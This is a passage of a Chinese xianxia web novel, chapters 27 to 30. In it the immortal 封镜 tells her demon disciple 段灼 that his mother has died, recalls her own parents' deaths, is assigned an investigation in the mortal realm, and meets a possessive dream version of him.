我与段灼至昆仑山主殿外,见到了西王母的贴身仙娥,她朝我行了个礼:“见过封镜女仙,见过殿下,请女仙先随我进殿中,王母娘娘等女仙多时了。”
在她的牵引之下,我往殿中走,段灼却被拦在了门外。
仙娥道:“请殿下在此等候。”
在仙界,我听旁人唤过段灼“小妖”“怪物”,却从未听别人唤过他一声“殿下。”
如今时间一久,我竟也忘记了段灼并非旁人口中的小妖,若是魔尊疼爱他,他并未来仙界,便会是魔域中无比尊贵的殿下。
我跟着仙娥进了殿内,西王母正坐于殿上,执笔不知在写些什么。从前也是如此,她作为女仙之首,日日都有忙不完的事要处理。
西王母并未抬眸,只听见来人的动静,将手中的笔撂下:“之之来了?”
我微微颔首,同她恭敬地行了个礼:“见过王母娘娘。”
她道:“之之请起,倒也不必与我客气,毕竟之之已是昆仑山的常客了。”
我腹诽,这个“常客”倒也并非是我想当的,我却不能这样说,只道:“承蒙王母娘娘厚爱。”
虽说西王母看起来与我娘一般年纪,实际上比我娘大上几千岁不止。
我儿时还问过我娘,西王母娘娘究竟多少岁?
我娘说,比她爹都还大许多呢,似乎自上古开天辟地后,便有了西王母,谁也不知她究竟活了多久。
我儿时对这些都充满了好奇,我又问道:“原来神仙可以活这么久?那岂不是能够将天下的趣事都体验一遍?”
我娘只是抚着我的脑袋,耐心解释道:“等之之长大后便会发现其实这天下的趣事并无几件,且纵然是神仙,亦会有仙陨之时。”
我又问道:“那西王母为何这么久了还未曾仙陨?”
这样的话,如今我回想起来,却觉得有些冒犯西王母了,到底是童言无忌。
我娘与我说,西王母一族掌握了长生不老的秘术,不死亦不灭。
我道:“可我从未见过西王母一族的其他人。”
我娘叹气道:“西王母一族虽不死不灭,可她一族却也只有她一人,或许有时长生也是一种诅咒。”
我又想,若是亲近之人一个个离去,那一
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个人孤零零活在这世上又有何意义呢?
我想着想着,便觉得西王母也有些可怜,于是我翻着我娘给我的仙界史书,落了两颗眼泪,我娘却不懂我为何好端端的便哭了。
我哽咽道:“若是有一日,娘亲和爹爹也仙陨了,那我也不要孤零零的活着。”
后来我才知晓,无论是人、仙还是魔,得到了什么,便会失去另一件珍贵的东西。
西王母获得了长生,却永远失去了与至亲至爱共度一生的能力。
我爹娘死在仙魔大战中,死在酆都,就连他们的尸骨我也未曾见过,如今我也正独自一人孤零零的活着。
我并未像西王母那般长生不老,却也真切感受到了一些仙的无奈,对人与人之间或是仙与仙之间羁绊的无奈。
感叹仙也活得太久了。
我不知何时我才会仙陨,何时才能再见到我爹娘。或者说,我亦不知,我死后真的能见到我爹娘吗?
百年前的丧亲之痛,如今也正盘根错节地生长在我心中,时时刻刻叫我想起之时,便能从其中伸展出狭长的刺,刺伤这颗至亲之人赐予的心。
纵然百年过去,我悄然长大,对他们的印象亦变得模糊。
我娘常着青衣红袍,她抱着我之时,我依稀能看到青衣上生长着生机勃勃的莲,她脱去青衣,便能叫我感觉到从未感受过的温热。
回过神来,我听见西王母道:“之之近来可并未勤修苦练。”
我答:“是。”
这也没什么不敢承认的。
我道:“从前我勤于修炼,是为了有朝一日能杀到酆都,屠尽魔族之人,为我爹娘报仇,可你们都不允我去,如今我再勤于修炼亦再无意义。”
西王母闻言一怔,轻轻叹了口气。
“之之,你心中知晓,我们都是为了你好,就算你爹娘还在世,他们亦不希望你被仇恨蒙蔽双眼,你是仙,自当肩负作为仙的职责。”
我问道:“作为仙的职责是什么?斩妖除魔如今已不是作为仙的职责了吗?”
我觉得,或许西王母心中,我就是个嚣张跋扈、叛逆无道的小辈,她说什么都会回怼两句,也总是反其道而行之。
西王母摇头:“非也,如今三界纷争止戈,我们作为仙,职责是守护正道和平,维护天下苍生。”
“三界之中,从来不以物种来定论好坏,仙、魔、人的好与坏却也只是个体秉性,若是坏妖,斩之便是维护正道和平,若是好妖,斩之便是罔顾三界生灵之性命。”
西王母次次训我道理与规矩都是一套又一套的,这些话其实我早就听过数次,耳朵都要听出茧子了。
我娘说,她从前也曾被西王母训过,也是我如今这般年纪。
我道:“我知晓了。”
不过只是假意答应,我有我自己的想法,长久以来扎根在心底的观念,不是旁人三两句便能说服的。
西王母点头,想必觉得我如此乖顺,自然是听进去了。
她又道:“我见你收留了魔尊之子,想来是已经晓得,对无辜生灵,纵然是妖,也应当抱有怜悯之态,才堪为仙。”
其实非也,我收段灼不过是我喝醉了,且他又非常像芜奚少年时,却并非西王母所言那般。
若是我并未喝醉,也知晓他是妖,便不会收留他,因为我向来都厌恶妖,也更怕麻烦。
西王母又道:“之之儿时,可听过你娘亲说过一个关于酆都的故事?”
我摇头:“我娘从未与我说过酆都,在仙魔大战以前,我甚至不知晓酆都究竟在何处。”
西王母娓娓道:“千百年之前的酆都只是个普通的城池,名曰“丰都”,意为“五谷丰登”。且尚未有妖魔一说,不知何时开始,酆都城中逐渐弥漫开浓重的瘴气,而这种瘴气会叫人成为迷失心智的恶鬼。”
“仙界那时有一族,名曰灵狼族,其特有的体质能够抵御酆都城中的瘴气,为清除瘴气,灵狼族被派去驻守酆都,可久而久之,灵狼族人却还是遭到瘴气侵蚀,成了如今的狼妖族,只是他们与其他妖魔一族不同,不会成为迷失心智的恶鬼。”
“这其中的灵狼一族,便是你那弟子段灼其母狼妖族的先祖。”
28. 第二十八章
“几百年间,狼妖族一直是酆都首领,由此魔域与仙界相安无事,后因内部纷争,狼族被赶尽杀绝,新上任的龙族首领想荡平仙界,一统两界,才有了仙魔大战。”
我心中却想,其实这些都与我无关,无论段灼的祖先究竟是仙界的,还是魔域的。
“他的母亲后来成了魔尊的侍妾,我唤他来也正想说,前几日酆都中传来消息,段灼的母亲……身陨了。”
西王母说此,叹了口气道:“段灼,也是个可怜的孩子。”
我骤然想起今日段灼曾与我说想回酆都,他梦见他娘过得不好,还有那日在幽闭,段灼在我怀中淌着眼泪,一声声唤着“娘”的模样。
我从未见过段灼的母亲,却也能从这些知晓,段灼很依赖他的母亲,如今他的母亲离他而去,不知他得知后又会哭成什么样子。
我想起来前几日云恒曾与我说过,魔宫中死了一个侍妾,魔尊为了这个侍妾发疯,又杀了好几个侍妾。
只是我却不得而知,段灼的母亲究竟是前者还是后者。
仙界一贯秉承着人道主义,就是半途来仙界中的一只妖,死了母亲都会有西王母安慰。
如今我心中对段灼起了一些同病相怜之感。
他的母亲死在了酆都,我的爹娘同样死在了酆都,他们皆被困死在同一片土地上,不知死后化作的那一缕青烟是否能够相见。
可相见又有何用,我待段灼也并不好,我爹我娘与他母亲亦并不认识,且若是他们两家泉下有知,知晓我与段灼的过节,怕是会对彼此大打出手。
西王母见我不说话,便又问:“我原想亲口告诉他,可想来之之是他的师尊,亦是最了解他的人,若是之之说,他便不会这般伤心。”
我却不知西王母这个想法究竟是从何而来的,纵然是我去说,我亦无法让他的母亲死而复生,为何能够叫他少一些伤心?
当初是西王母与我说,我爹娘死在了酆都,他们成了三界中的英雄,能流芳百世,而我却永远失去了他们。
却也并未叫我心中的痛苦纾解半分。
那时我还年幼,我爹娘去参加仙魔大战,便将我放在昆仑山中养着。
时间一天天过去,我早已熟悉昆仑山中的一花一草,西王母的训诫我也能倒背如流,爹娘教我的心法剑法也烂记于心,日子逐渐过得无趣起来。
后来我听旁人说,大战结束了,许多仙都回来了,他们都受了些伤,可我问起我爹与我娘如何了,却没人与我说。
不是说大战结束了吗?他们为何还没有回来。
所有的仙似乎对此都无比默契的缄之于口,对我更是避之不谈,如此我便隐隐约约知晓了些什么,但我却不愿意往那方面想。
在我心中,我爹娘都是非常厉害的仙,别的仙都很尊敬他们,绝不会这样轻易死去,想来是大战结束以后,他们还有别的事情处理,故而才会久久不归。
我娘曾与我说,仙有多大的能力,就得办多少事,他们这样厉害的仙,想来就算大战结束以后,也还有许许多多需要去做的事。
那几日,我便是如此哄着我自己的,无论是旁人与我说什么,如何看我,我都装作一概不知不听。
后来一日,我蹲在昆仑主殿外,看着墙角挣脱出来的小草久久不逢甘霖枯萎,那日日头正盛,偏偏照得我浑身冷飕飕的,西王母将我唤到身边,她与我说的话,却叫我与墙角的小草一同枯萎了。
西王母看向我的神色,如今日说起段灼之事那般怜悯,落在年幼时的我耳边,却犹如一记记轰鸣的雷声。
她说:“你娘与你爹,在仙魔大战中仙陨了。”
我闻言,被这雷声炸得神色痴然,头脑昏聩,缓缓扭过脖子看着她,似乎全然不知她在说什么。
如此,西王母看向我的神色中怜悯更多了,往后的数年中,只要我来昆仑山,她皆是用这样的神色看着我。
那一年,昆仑山的雪比往年都还冷上许多。
那时,我失魂落魄地推开西王母的怀抱,跑出昆仑山,跟在我身后的仙娥也被我甩开,我独自一人,御剑回了碧水瑶台。
我想,我爹娘肯定已经回来了,他们是逗着我玩儿的,他们一贯喜欢与我开玩笑。
许多天没人住的碧水瑶台显得有些荒凉,我推开我居处的门,桃花开了,落花满地,风一吹扬了满院,却没人回来过。
我回到房中,被褥上还有些母亲身上常有的沉香味,只是那沉香早就淡了,我将自己裹在被褥中,哭了几日,后来才决定了要去酆都找他们。
我回过神来,与西王母道:“我与他说罢。”
西王母点头:“好。”
“今时不同往日,之之你已出师,为人师者该知晓如何去安慰伤心难过的弟子。”
我微微点头,心中却不禁在想我该如何去安慰他,且我当真会去安慰他吗?
我知晓,如何安慰他都是无济于事的,就像当初任何人来安慰我,也同样无济于事。他们说什么都没用,除非让我爹娘活过来。
段灼能够回到酆都,却回不到那个有母亲怀抱的故土了,亦如当初的我。
这个话题过后,西王母又道:“之之这几日在碧水瑶台中可忙?”
我道:“忙。”
其实并不忙,但她既如此问我,我当然会说我忙。
不然到时候又要让我去帮她做些事。我懒散惯了,也不想管别的事。
西王母却道:“可据我所知,之之这几日并不忙,反倒悠闲自在。”
我:“……”
她既然知晓,又何必来问我。
西王母又道:“我有一事,需之之去做,却也并非是需要之之去做,而是这件事本就该是之之的事。”
果然,如同我所预料的,她是有事要我去做。
我问道:“何事?”
其实是我不保证我一定想做且一定会去做。
西王母继续道:“七日后,需要之之去人间的一个地方,调查一件事。”
“赤水附近,山衡以南有一镇,名曰雁山镇,最近镇中出了些怪事,像是妖魔作祟。”
“镇中连日大雨倾盆,推倒庄稼……”
我打断道:“既然是呼风唤雨之事,那寻风师雨伯不就行了?”
西王母却摇头道:“事情却并非这般简单了。”
“在大雨倾盆的夜里,有年轻女子撑伞从家中出走,最后都杳无音讯。镇中人一起寻找那些失踪的女子,最终在镇外不远处的山洞中找到了一具具枯萎的女尸,他们那模样像是被妖物吸干了阳气。”
西王母叹了口气又道:“自仙魔大战后,仙界人丁稀薄,之之年幼,有些事我便未曾压在你肩上。”
西王母挥手,半空中隐隐浮现一张人间地图,其辽阔程度,远超于我对人间的印象。
她又挥手,我看着那张地图被各种不同的色泽圈起来,而每个区域的上方会浮现仙门或是某位神仙的名字,我神色扫过方才西王母所说的赤水附近,山衡以南的地区,其上方正是浮现的正是我爹娘的名字。
“这一片领域,从前都归你爹娘管辖,他们离世后,便并入一旁风师雨伯之下,如今你长大了也该承他们之志,护一方水土。”
她再挥手,这片区我爹娘的名字被划去,取而代之的是我的名字。
我问道:“那为何七日后去?”
西王母道:“此前我已派人去探查,有些事还需查明了与你说后再去。”
我道:“我去便是。”
既然是我爹娘从前管辖之处,出了事,我自然是要去的。
西王母微微一笑,点头道:“之之不妨带一两名碧水瑶台中的弟子同去历练。”
我点头道:“是。”
我又与西王母行礼道:“晚辈还有事,先行告退。”
她微微点头,只叮嘱我路上小心。
我转身,走出去才两步,西王母又从身后叫住我。
“之之。”
我回头,便又听见她道。
“雁山镇再往
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北,便是赤水之北,气候炎热不堪长留,之之莫要走错。”
我点头道:“好。”
我知晓在百年前,天帝曾将一罪仙放逐在赤水之北,那仙是何人,我便不知了,我想西王母应当是不想我碰到这罪仙。
“之之记得与段灼说,方才我与你说之事。”
这个我自然会记得。
我没有再回头,径直走出昆仑山的主殿,我走过长廊,在屋外停住脚步,我仰面看着昆仑山尖上那点薄薄的雪,此去经年,如今再瞥见,还是叫我觉得浑身刺骨的冷。
我看着立于殿前的段灼,他的身段如松柏挺拔,目色沉沉正落在我身上。
方才还在殿中并未看见他之时,我信誓旦旦答应下,如今看着他的眼,我心中又想,我要如何与他开口说这个?
其实我有些后悔,或许应该让西王母来说。
我迈开步子,走到段灼面前,他亦垂眸唤我:“师尊。”
我凝眸看着他,段灼在我眼中,昆仑山巅的风雪亦在我眼中,风还在簌簌吹着,将我的思绪吹到了过去。
昆仑山巅是终年不化的皑皑白雪,那年我一路小跑穿过长廊,身后的仙娥追了我一路,我眼角的泪从主殿流到殿外,似化作了刺骨的寒风,亦化作了这终年封冻的皑皑白雪。
时至今日,我的眼中早已没有泪了。
段灼又道:“方才的女仙与我道,等师尊出来,我便要进去见西王母娘娘。”
他的声音有些沉闷,一如往昔小心翼翼抬眸看我,额间的朱砂散发着微弱的光亮。
他就像是被丢进陌生环境中的动物,畏惧着周围的一切,亦害怕即将会发生的一切。
终于,心中的焦躁与不安迫使他开口问我:“师尊可知,她为何而寻我?”
我却不知该如何开口说这些必然会叫他伤心难过的话了。
“我……”
我往后的声音像是被哽住了一般。
如今我看着段灼,就像是西王母当初看着日日希冀着爹娘归来的我。
而我知晓,段灼会有个与我一样的结果,他会与我一样,会哭着走出昆仑山。
我看着他,他的模样越像我曾经年幼时的模样。
我在审判着他的同时,在过去的某一日,亦有人在审判着我。
说与不说全在我,他心中痛与不痛亦全在我,可我无法改变的是事实,我能做到的只有是否与他说。
我道:“我知道。”
我听见自己的声音冷极了,是一种近乎偏执的冷静。
段灼看向我,神色中充满了疑惑与不安,他垂眸有些踌躇,大概是预料到不会是什么好事。
他这样在仙界籍籍无名的小妖,为何会被仙界的女神唤于殿中,想来想去都应该不会是什么好事。
他追问:“是何事?”
我道:“你不必再去见她,她已与我说,让我告知于你。”
他看着我,却并未再追问,只是我却能从他那双漆黑的眼眸中看出些犹豫来。
——他不想知晓这个问题的答案,亦害怕知晓。
我先问他:“你可还想回酆都?”
段灼怔神,他心中的不安要溢出来了,他将本就苍白的唇抿成一条直线,而后一字一句道:“师尊是在……赶我走?”
他似又想起什么一般,问道:“可是王母娘娘不允我留在仙界了?”
我摇头道:“非也,我并无此意,她也并无此意。是今晨你与我说,你想回酆都。”
其实我希望段灼走的。
可他离开了碧水瑶台又能够去哪里呢?天下之大,却并无一只妖的安身之处。
可他是否有个安身之处却不是我该去担忧的。
段灼低下头:“我不知道。”
我说:“她让我与你说,你母亲她……身陨魔宫,若你想回去,我与她说,让她允你回去。”
段灼闻言浑身都在颤抖,他的手握成拳,骨节泛着些许青色,却并未说话,只缓缓抬头看向我。
29. 第二十九章
这样带着些许错愕与茫然无措的神色,我从未从段灼脸上看到过的,但如此却又显得他鲜活,像是个真正的少年人。
可只是一瞬,他又垂下眼眸如往常般沉默不语。
段灼再抬头看我时,那双原本锐利的眼中蓄满了眼泪。
这一刻我才发觉,无论以后如何,如今他也只是个离家五年,还会依恋至亲的少年。
而我如今告诉他这些是否太过于残忍,我对他做的那些是否过于残忍,人又如何能一辈子活在泡影中,就像是那时候的我。
我失去至亲的泪,早在百年前就干涸在了昆仑山巅。
而百年后,段灼的泪被昆仑山巅寒冷刺骨的风缓缓刮落。
我心中沉寂已久失去至亲的痛被唤醒,我看着他颤抖的身体,像在看当初瑟瑟发抖的自己。
我洁白的衣袖落了些如浮萍般飘摇的白雪,我垂眸看着那些雪。
我曾经以为,经年过后这些伤痛早已不算什么,就算旁人与我谈起爹娘的死,我亦能够从容应对。
可百余年后的今日,我才知原来这些风雪仍旧如盐粒一般撒在我伤痕累累的心上,令我感觉疼痛无比。
我娘曾说,昆仑是一座叫人伤心的仙山。
那时我并未读懂她的意思,看着如今的段灼,想起从前的我,我却明白了这其中的含义。
段灼的眼眸被昆仑山的风雪扎得鲜血累累,他目色茫然地看着我,眼下的泪像两道纵横的裂谷。
却也并不是看着我,像是在越过我看沧海桑田,看岁月变迁,或许他在思考,他只是不在母亲身边五年,为何她就死了。
为何她什么都没留下,就这般仓促地死了。
段灼再不顾及什么师徒之说,双手紧紧扣住我的肩,而我所感受到的疼痛比他心中的疼痛差了千倍万倍。
那双带着泪的眼死死定格在我身上,他边与我说,眼泪边往下掉着。
“我知晓师尊恨我,可为何要咒我娘死?”
我扬起手,一巴掌扇在了他的脸上,他被我扇得别过头,泪如盐撒了出来。
我抿着唇,恨恨道:“我何苦如此?我看你是疯魔了,这话也并非我所言,我只是替西王母告知你的!”
段灼神色恍然,他的唇轻轻颤抖着,另一边脸颊在之前也被我扇得红肿,如今两边对称,叫我觉得有些可笑,亦有些可怜。
他捂着脸,神色却不见得有多少对我的恨,只是在游离着,与我道错也如行尸走肉,喃喃自语。
“弟子……弟子知错。”
我又问他:“你可还想回酆都?”
他抬头看向我,眼中还有泪,我想他应该是想回去的,回去给母亲收尸,就如当初独身前往酆都的我,那时我心中早已做好活要见人,死要见尸的准备。
可最终我什么都没看到,活的死的,化成灰的,什么都没留下,唯独只留下我床边那带着母亲身上沉香气息的衾被。
段灼咬着唇,神色茫然犹豫。
他回酆都为他母亲收尸。
然后呢?然后就留在酆都?魔族可会真的接纳他?
他若是回去,这仙界他便回不来了。
他这魔力低微的妖力,狼与龙杂种的身世,爬不上天梯,更无法在酆都的魔宫中立足。
他这出身,使他无论在何处,都会处在一个尴尬的位置。
我见他久久不言,便拂开他的手,准备往正殿中去,我刚走两步,段灼却死死抓住我。
他抓得我很疼,像是想要紧紧抓住手中极其容易流逝之物。
我搞不懂他在想些什么。
他望着我,一字一句道:“我不回酆都。”
他看着我的眼神跟狗似的,好像在说,若是离开了我,他便回不来了,他没了母亲,不想再没了主人。
他说完这话,望着我的双眸中又流泪了,他又道:“我娘与我说,若是去了仙界,到死都不要再回酆都。”
我看着段灼那双被泪水浸泡的眼,突然明白了他被送来仙界的缘由,他母亲似乎也晓得他在酆都是不可能会有立足之地的。
群龙环伺,明争暗斗,她唯一的孩子可能会殒命于王位斗争中,于是她尽一切办法,将他送来了仙界。
而段灼,失去了娘亲,只有一个极有可能是杀掉娘亲的凶手父亲尚且还在人世中。
我想段灼是恨他的,至少胜过恨我。
段灼骤然将我拉进他的怀中,他身上冰冷的霜雪几乎要淹没我。
他高出我很多,我微微踮起脚。
我的思绪骤然停止,我的脸贴着段灼炽热的胸口,他的怀抱是冷的,只有那颗心尚且还在炽热跳动着,只是那颗心却也不完整。
我心中不禁想着,从前我领进门的小狼妖究竟去了何处?
如今怎么只剩下这如柏树高,沉默寡言的少年了。
今日我暂且原谅他这放肆的行为,亦如当年西王母原谅我听闻爹娘仙陨的消息后,不与她行礼,头也不回地跑出了昆仑山。
我侧身,在段灼怀中看着头顶的昆仑山巅,那山尖的白雪皑皑好似仙人们心中的苦楚堆积而成。
我明白了我娘的话,也知晓了为何昆仑是一座叫人难过的仙山。
我想,若是段灼能够对着这样终年不化的皑皑白雪起誓,永生永世不会伤害我,或许我会相信,并且将他当做弟子,用心照料。
但对着雪起誓言却也不一定是真的。
毕竟日日都有新雪,亦有融化的旧雪,谁又能知晓昨日起誓的雪究竟还在不在这世上呢?
我与段灼之间,是没有回头路可以走的,想来与他的温情,亦只有这一个拥抱了。
不知过了多久,我将段灼推开,他眼下的泪早已干涸,神色恍然,但他心中的泪会如今日这般连绵不息。
只要某日隐隐想到母亲身殒,他心中的血与泪便会溢出来。
我道:“若是不回酆都,我们现在便回碧水瑶台。”
我只需问他,而他的决定是什么,却与我无关。
段灼凝眸看着我,说道:“我留在师尊身边。”
我愣住了。
明明有千万种说法,段灼可以说留在仙界,留在碧水瑶台,或只说留下,他偏偏说的是要留在我身边。
我有些执拗地纠正道:“你是留在仙界,并非留在我身边。”
这时我却觉得他像是我教出来的。
他与我一般执拗,又与我重复道:“我留在师尊身边。”
我拂袖往前走,冷声道:“随你。”
他亦步亦趋跟在我身后。
其实我并不需要任何人在我身边陪我,承诺对我而言,也同样虚无缥缈。
那年爹娘征战前夕,曾去昆仑看我,他们说,等回来以后便带我去人间。
可如今我独身一人走过人间的许多地方,却再没有见到他们回来。
而今日的段灼却并非哭过之后便好了,他还需要许多时日去让伤口自愈。
而这些,便不是我要管的。
方才在殿中我还答应西王母会作为师尊去安慰段灼,如今究竟有没有安慰到,我却不知。
或许是没有吧,我想我只是向他陈述了他母亲身陨这件事。
或许我还伤害了他,毕竟方才在他难过且口不择言之时,我还甩了他一巴掌。
*
昆仑山下,是举办蟠桃宴的金池宴场,我与段灼回到这里,宴场中早已不剩几个仙在了。
我再放眼望去,却也并未看到云恒,只看见了几个约莫与云恒关系好,我也比较眼熟的仙。
还并未等我说话,其中一个女仙便先看见我,笑着与我道:“封镜女仙可是在找云恒女仙?”
我这才露出了社交式的笑容,点头道:“诸位可知,云恒去了何处?”
据我了解,按云恒的脾性,我没来,她就不会走,除非有十万火急的事。
那女仙道:“刚才云恒女仙还在此处与我们说话,后来她的神色不大对劲,说身体不适便先走了。”
“她说,若是封镜女仙问起,便说她身子不适先回去了,封镜女仙只得自己回碧水瑶台了。”
我道:“多谢女仙告知。”
我有些狐疑,我与云恒认识近百年,从未听过她说身子不适,在我看来,她平日里总是活泼乱跳的,有些健康过头了。
我正准备走,却又听见他们说:“平日里我总是见她蹦蹦跳跳的,亦未曾听闻她生过什么病,如今这是怎么了?”
方才与我说话的女仙神色担忧,摇头道:“我也不知,方才她脸上的血色骤然退却,险些摔倒在地上,叫人好不担心……”
我闻言微微一顿,想来等会儿再通灵问问她究竟怎么了。
我挠了挠手臂,低头却见原本干净的手臂上多了些红疹。
我并未给段灼法力,而是带着他腾云回碧水瑶台,如今他失魂落魄的,怕是御剑不成,反倒摔个狗吃屎,到时候落成仙界笑柄的便是我了。
说我作为师尊,却就连御剑都教不会弟子。
一路上段灼都安安静静站在旁边。
我也并未说话,只是抬起手臂看了看上面不知是什么时候落下的红疹。
我有些疑惑,却也知晓许是今日宴场人多,应该是我走路时不小心碰到了某位仙君,才会如此。
可为何被触碰到后,我竟半点感觉都没有。
我一直都知晓我自己这个毛病,故而次次参加宴会都小心翼翼,生怕碰到谁,又叫我受好几日的罪。
可更叫我觉得奇怪的是,我这红疹从前都是触碰到男子以后,立刻就会冒出来的,可如今竟然过了这么久才冒出来。
段灼不知何时回神了,他见我看着手臂出神,他也顺着我的神色也看过来:“师尊的手……”<
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我将手收回了袖中,不想别人知晓我这毛病,更不想段灼知道我唯独触碰他不会长红疹。
我道:“无事。”
我始终觉得我只触碰了段灼一个人,我不禁想,难道是我对他的免疫失效了?
我左思右想决定用眼前的段灼测试一下,于是我伸出另一只手轻轻触碰着段灼的手腕。
段灼原本在走神,似乎是感觉到了触碰,他才渐渐回神,他垂眸看着我的手紧贴着他的肌肤。
他肉眼可见地错愕,声音微沉道:“师、尊?”
我将手松开,像什么都没发生过一般,又道:“无事。”
想来他也不会多问我。
毕竟我作为师尊,做了些旁人无法理解的行为,也会有人为我辩驳作“师尊这么做肯定有她的道理”。
段灼也是如此,毕竟他没有再追问我什么,只是继续站在原地出神。
当然,通过这一番触碰,我除了感觉段灼的手臂有些冰,摸着滑溜溜的,有些舒服外,却也并无搔痒之感。
我想着,或许等等看呢,说不定一会儿就开始痒了。
我一边等着,一边给云恒打去一个通灵音,却毫无回音。
想来云恒身子不适已经睡下了,只得等过几日再打给她。
可我又想,我走之时云恒还好好的,后来到底是怎么了?
我又挠了挠我手臂上愈发痒的红疹。
过了不知多久,甚至能从云上看到些碧水瑶台的影子,我触碰段灼的那只手也并未长出红疹来,由此我便知晓,我这红疹并非是触碰段灼而来的。
那这究竟是因为谁呢?
腾云停于碧水瑶台我的寝殿前,段灼落地朝我行礼道:“弟子先行告退。”
从昆仑回来,碧水瑶台天都黑了,这却也并非去昆仑山的那日。
毕竟自碧水瑶台来去一趟昆仑山,至少两日,想来这是第二日的夜里了。
我看着段灼在黑暗中有些寂然的背影,我叫住了他。
“段灼。”
段灼身形一怔,回头问道:“师尊还有何事吩咐?”
其实也没有什么事要吩咐,我是他的师尊,又不是他的主人。
我道:“今日你也累了,明日休息,不必修炼。”
虽说平日我针对他,但今日见他伤心,总归要装模作样叫他休息一日,就算我对他坏,却也不能坏得这么明显。
段灼一怔,颔首道:“多谢师尊。”
他微微一顿又道:“我见师尊手臂上长了些红疹,上次师尊赠了我些凝水桂雨膏还未曾用完,不知师尊可要用一些?”
我以为那玩意都不知是多久前赠予段灼的,竟然还没用完。
我道:“不必,这些东西我多得是。”
这红疹用什么都不会好,只能等着痒过了以后,自己痊愈,好处就是,不会留下任何疤痕,
段灼又行礼道:“那弟子告退。”
他的身影逐渐远去,我也回了寝殿中,两三日没回来,地上的落花铺得厚厚的,桃花精见我归来,甚是欢喜。
她围着我绕了好几圈道:“女仙女仙,你终于回来了!”
桃花精拍了拍并不存在的胸脯道:“这几日,我恪尽职守守护女仙的居处,那妖族少年也并未来过!”
我顺着她的话,毫无感情地夸道:“哇,那你真是太厉害了。”
她嘿嘿笑了两声,似乎更高兴了,我心想,若是我的开心也能与她一般简单就好了。
桃花精又想起什么似的,与我激动道:“女仙可有带蟠桃回来?”
有是有,不过我都给云恒了。
我问她:“你想吃?”
她连连点头:“想吃想吃!我听闻这蟠桃是仙界最好吃的东西!”
我道:“我都给云恒了,若是你想吃,我倒是可以找她再要一些来。”
这蟠桃一是好吃,二是对修为大有裨益,尤其是他们这种小精怪,吃进去效果尤其明显。
她高兴得在原地又转了几圈,喜道:“多谢女仙!多谢女仙!”
我不再与她多言,三两句下去已经困得打哈欠了,我进了寝殿,稍加收拾后,便准备休息。
我躺在床上翻来覆去想着白日里的事情,想起段灼的泪,想起我扇他那一巴掌,想起方才他走时,有些落寞的背影。
对哦,我触碰了段灼,那今夜便会梦见他,说起来我已经有许久未曾梦见过他了。
我挠了挠手臂,又顺着手臂下去,挠了挠掌心。
可实在是太困,来不及再想什么便睡着了。
我睁开眼,我似乎还身处于金池宴场中。
眼前是觥筹交错的场景,高台之上的西王母还在说着些伟岸之词,这样的场景太过于逼真,叫我也信了几分。
我转头看向一边,段灼坐在我身边,正悄无声息,似笑非笑地看着我。
30. 第三十章
段灼的神色一直落在我身上,却又在与旁边的女仙交谈,我听见那女仙问段灼。
“仙君是何处的仙?”
段灼答道:“我并非仙,而是魔。”
女仙又问:“那你是何处的魔?”
段灼看着我,他的眼像是一汪深不见底的潭水,平静无波却要将人溺死在其中。
我听着段灼一字一句说着:“我是封镜心中的魔。”
“……”
我想打死他。
这样的回答与段灼在梦外的回答不同,且他这话像是故意说给我听的。
我觉得我作为师尊,被徒弟直呼姓名不应该是这样的反应,至少我应该教育他。
于是道:“谁让你直呼我姓名的?”
段灼看向我,神色中有些笑意,又叫了一声:“封镜。”
不堪教化,冥顽不灵。
段灼又道:“师尊允的,师尊想的。”
似乎“师尊想的”这四个字成为了段灼说一切胡言乱语的借口。
我道:“我并未允过。”
无论是我旁边的云恒还是段灼旁边的女仙,亦或是别人,他们在说什么,我都听不清,我耳中只有段灼的声音。
我又想起了段灼在梦外抱着我痛哭流涕的模样,我有些好奇他究竟知不知道梦外发生了些什么。
我问:“你可知梦外发生了什么?”
段灼不笑了,他神色一暗,又将脑袋埋在我怀中,与我闷声说:“师尊,我不想说这些。”
我想,段灼应该是知道的,甚至还为了这事有些伤心,也不准我提起。
我道:“那我不说了。”
段灼点头:“嗯。”
周遭还是有许多杂音,段灼在我怀中,发梢蹭着我的手背,我环视一圈,如此亲昵叫我有些众目睽睽之感。
我问他:“能不能从我怀中起来?”
段灼却借着这种伤心与我耍起无赖:“师尊想要如此。”
我道:“我并不想。”
段灼抬起一双微亮的眼眸看我,他问:“那师尊想要什么?”
我微微思索,却也说不出个所以然来,只道:“我没什么想要的。”
段灼又笑了一声,却并未再说话,又脑袋埋了下去。
我垂眸看着他,有些习惯了他与我亲昵一般,纵然是靠在我怀中,也并未叫我觉得抵触,但也仅限于在梦里。
不过,这样的亲昵像是短暂的,段灼从我怀中起来,那温热转瞬即逝,段灼脸上的笑与柔软都消失了,看向我的神色有些冷。
我觉得他似乎想起了什么,且看神色想起来的并不是什么好东西。
果然,段灼抓住我的手腕,将手腕侧到另一边,手臂上的红疹赫然显现。
我看着手臂处的红疹亦有些惊讶,不知为何就连这红疹都带到梦中来了。
段灼沉声问我:“师尊是与何人肌肤相亲了?”
“肌肤相亲”四字叫我觉得不舒服,就像是我与不小心触碰到我的那人有何非比寻常的关系。
且段灼说话的态度就像是,他是我的道侣,而我与别的男子亲密被他抓住了,得了他的质问。
他是我的弟子,并不是我的道侣,我在梦中与他如何亲密却也只是师徒关系,他的语气让我觉得这条线被他越了过去,他忘却了自己是我的弟子,而非我的道侣。
我问道:“与你有何干系?”
段灼看着我手臂上的红疹,神色逐渐变得有些骇人,这模样与那日我用青霜剑捅了他如出一辙。
那时我便见过段灼失控。
“师尊,只能与我,肌肤相亲。”
字字句句,他说得咬牙切齿,甚至是有些愤恨到想将那触碰我的人撕碎了才是。
我道:“我与你可以肌肤相亲,与别人亦可肌肤相亲,左右不过是,我是否愿意,且出现在我梦中的是你,而并非别人。”
我以为按照梦中段灼的性格,听到我说的,他会生气或是难过。
谁知他却并不生气,只是将一只手轻轻抚于我的颈后,死死握住我的后颈,像是顷刻间便能将我撕碎,他漆黑的眸中带着些我看不懂的笃定。
段灼说:“师尊梦中之人,只会是我,亦只能是我。”
我道:“若是我想,也可以不是你。”
我不知为何段灼会这般笃定,他只是个梦中依附我而存在的虚影,他没有自主选择的权利。
我想应当是我太过于纵容梦境中的段灼,才叫他生出了这样的性情。
他笑:“因为我愿意将我的心给师尊,别人不愿。”
他总是与我说这样没来由的话,可他哪来的什么心,他的心亦是我的心。
我道:“你生于我,就连你这颗心也是我的。”
他这样自大,纵然我已经与他说过,他好似也不明白他这颗心是我赋予的,甚至连他能够出现在梦中的权利也是我赋予的。
